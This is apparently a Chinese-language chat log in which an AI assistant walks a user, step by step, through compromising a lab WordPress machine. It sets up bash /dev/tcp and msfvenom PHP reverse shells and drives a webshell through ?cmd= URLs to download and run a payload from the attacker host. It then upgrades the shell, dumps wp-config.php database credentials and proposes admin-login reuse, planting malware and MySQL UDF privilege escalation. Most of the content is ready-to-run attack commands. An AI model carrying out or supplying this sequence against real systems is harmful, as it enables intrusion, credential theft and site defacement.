🚀 接下来:拿 Flag
现在你有了一个交互式的终端,别浪费时间,直接去找 Flag。
-
先确认一下你现在的位置:
在左边的
nc窗口里输入:whoami pwd
你已经成功拿到了 Shell,但现在的权限只是普通用户(pkali),还没有拿到最高权限(Root)。
🔍 现状分析
whoami显示pkali:说明你现在控制的是一个叫pkali的普通账户,不是管理员。
信息收集(Reconnaissance)
请在你的 nc连接窗口里,依次执行以下命令,把结果发给我,我来帮你分析:
1. 查看当前目录有什么
ls -lah

查看 shell.sh的内容在当前窗口输入:
cat shell.sh

这行命令的意思是:
-
bash -i:启动一个交互式的 Bash Shell。 -
>& /dev/tcp/192.168.100.128/4444:把这个 Shell 的标准输出和错误输出,全部重定向到你 Kali 机器的4444端口。 -
0>&1:把标准输入也重定向到标准输出,这样你就能在 Kali 上控制这个 Shell 了。
但是,这里有一个致命的细节:
你之前在 nc里监听的是 7777端口,而这个脚本里写的是 4444端口!这就是为什么你之前没反应的原因------端口不匹配!
🚀 终极提权步骤(现在就做!)
你现在手里已经有一个 pkali用户的 Shell 了,而且你知道怎么反弹 Shell。接下来,我们利用这个 shell.sh来直接拿到 Root 权限!
第一步:在 Kali 上开启 4444 端口监听
在你的 Kali 终端里,新开一个窗口,输入:
nc -lvnp 4444
(确保它处于监听状态)
第二步:在靶机(当前窗口)里"执行"这个脚本
你不需要把它保存到文件再执行,直接用 bash运行它就行
bash shell.sh
因为7777和前面4444端口冲突重新修改建立反弹shell
用 msfvenom生成一个"免杀" PHP 反弹 Shell
-
在 Kali 上生成一个 PHP 反弹 Shell 文件:
msfvenom -p php/reverse_php LHOST=192.168.100.20 LPORT=4444 -o shell.php -
开启 HTTP 服务:
python3 -m http.server 8000 -
在浏览器里用
wget下载:http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=wget%20-O%20/var/www/html/wordpress/wp-content/uploads/2026/01/shell.php%20http://192.168.100.20:8000/shell.php -
然后访问:
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/shell.php

1. 升级 Shell 变成交互式(推荐必做)
现在的 Shell 可能看起来有点"笨",输入命令可能没反应或者不能补全。输入下面这行命令,把它升级成"完全体":
好!这一步非常关键------你现在是通过 WordPress 的 WebShell(那个 macoduweklgkmvp-1767607866.7342.php)来控制靶机 ,不是 SSH,所以我们用 WebShell 执行命令 来完成第四步和第五步。
下面是你现在要做的 唯一正确操作,照抄就行 👇
✅ 前提确认(先核对)
-
Kali 终端已运行:
python3 -m http.server 8000 # 在 ~/Desktop 目录,里面有 real_shell.sh nc -lvnp 4444 -
靶机 IP:
192.168.100.10 -
Kali IP:
192.168.100.20 -
WebShell 可访问:
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=id能看到
www-data

🟢 第四步:让靶机下载 real_shell.sh(用 WebShell)
在 浏览器地址栏 访问这条 URL(完整一行):
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=wget%20http://192.168.100.20:8000/real_shell.sh%20-O%20/tmp/real_shell.sh
✅ 页面空白或显示数字 = 下载成功
❌ 404/拒绝 = 你 python 目录不对或 IP 错
验证是否下载成功,再访问:
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=ls%20-l%20/tmp/real_shell.sh

应该看到类似:
-rw-r--r-- 1 www-data www-data xxx May 31 /tmp/real_shell.sh

🟢 第五步:赋权 + 执行反弹 Shell(重点!)
① 赋执行权限
浏览器访问:
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=chmod%20%2Bx%20/tmp/real_shell.sh
② 触发反弹 Shell
马上在浏览器访问这条(点下去后会转圈/空白,这是正常的):
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=bash%20/tmp/real_shell.sh

🎯 现在立刻看你的 Kali 终端(nc -lvnp 4444)
✅ 成功的话你会看到:
connect to [192.168.100.20] from (UNKNOWN) [192.168.100.10] xxxxx
$
输入:
whoami
应返回:
www-data

然后升级交互 Shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
🚀 终极优化:让你的 Shell 变得完美(三步搞定)
请在你已经拿到 Shell 的那个窗口(图4左上角那个)里,依次执行以下命令:
1. 升级 Shell 为交互式(绕过 python3 不存在的问题)
直接复制粘贴这一行,然后按回车:
bash
script -q /dev/null
(执行完这行后,你可能会觉得屏幕闪了一下,或者什么都没变,这是正常的,继续下一步)
2. 设置环境变量(让 Tab 补全和命令高亮生效)
复制下面这行粘贴进去:
bash
export TERM=xterm-256color
3. 再次加固交互性(终极必杀技)
再复制下面这行粘贴进去:
bash
alias ll='ls -la'

执行这行命令,直接读取根目录下的配置文件:
cat /var/www/html/wordpress/wp-config.php
或者,如果你想用相对路径往回退几层:
cd /var/www/html/wordpress/
cat wp-config.php
找到了之后怎么看?
页面内容会很长,你不需要全部看。直接在那个界面里搜索(如果你用了我刚才教的 TERM=xterm-256color,你就可以直接按 Ctrl + W 然后输入 DB_PASSWORD或者 PASSWORD),或者直接往下翻,你会看到类似这样的代码块:
php
define( 'DB_NAME', 'wordpress_db' );
define( 'DB_USER', 'wp_user' );
define( 'DB_PASSWORD', '这里就是你要找的密码' );
define( 'DB_HOST', 'localhost' );
把那个 DB_PASSWORD后面的字符串记下来,这就是数据库的账户密码。拿到它,你就可以尝试连接数据库,或者在 WordPress 登录后台试试用这个密码登录管理员账号了。快去试试!


太棒了!目标达成!
你不仅找到了 wp-config.php文件,还直接拿到了最核心的数据库凭证。
提取到的数据库信息:
-
数据库名 (DB_NAME) :
mermelada -
数据库用户 (DB_USER) :
root -
数据库密码 (DB_PASSWORD) :
12345 -
数据库主机 (DB_HOST) :
localhost
下一步建议(怎么用这些密码?)
你现在有三个非常明确的方向可以走,选一个你觉得顺手的:
1. 尝试登录 WordPress 后台(最推荐,最直接)
既然有了数据库密码,很多时候 WordPress 的管理员密码可能也是这个(或者是弱口令)。
-
打开浏览器,访问:
http://192.168.100.10/wordpress/wp-login.php -
尝试用户名:
root,密码:12345(如果不行,试试admin/12345) -
如果登录成功,恭喜你,直接拿下了 Web 管理权限,可以随意改网站内容、挂马或者上传更高级的 Shell。
2. 连接数据库(进阶操作)
如果你想看看数据库里到底存了什么(比如用户表 wp_users),可以用命令行或者工具连上去。
-
在当前的终端里,你可以尝试用 MySQL 客户端连接(如果靶机装了的话):
bash
mysql -u root -p
然后输入密码
12345。 -
或者在你的 Kali 本机上使用
mysql命令配合-h 192.168.100.10远程连接(前提是靶机的 MySQL 允许远程连接,且防火墙放行)。
3. 寻找提权点(终极目标)
你现在是 www-data用户,目标是变成 root。
-
你刚才拿到的数据库密码
12345极其简单,这往往是系统密码的"复制品"。 -
你可以去翻翻系统里的配置文件,比如
/etc/passwd看看有没有其他用户的密码哈希,或者试试能不能用这个密码通过 SSH 登录其他服务。 -
另外,既然你有数据库权限,可以尝试利用 MySQL 的 UDF(用户定义函数)提权,不过这稍微复杂一点。
我的建议:
先去 第1步 试试能不能直接登录 WordPress 后台。如果能进后台,这局基本就稳了!快去试试!

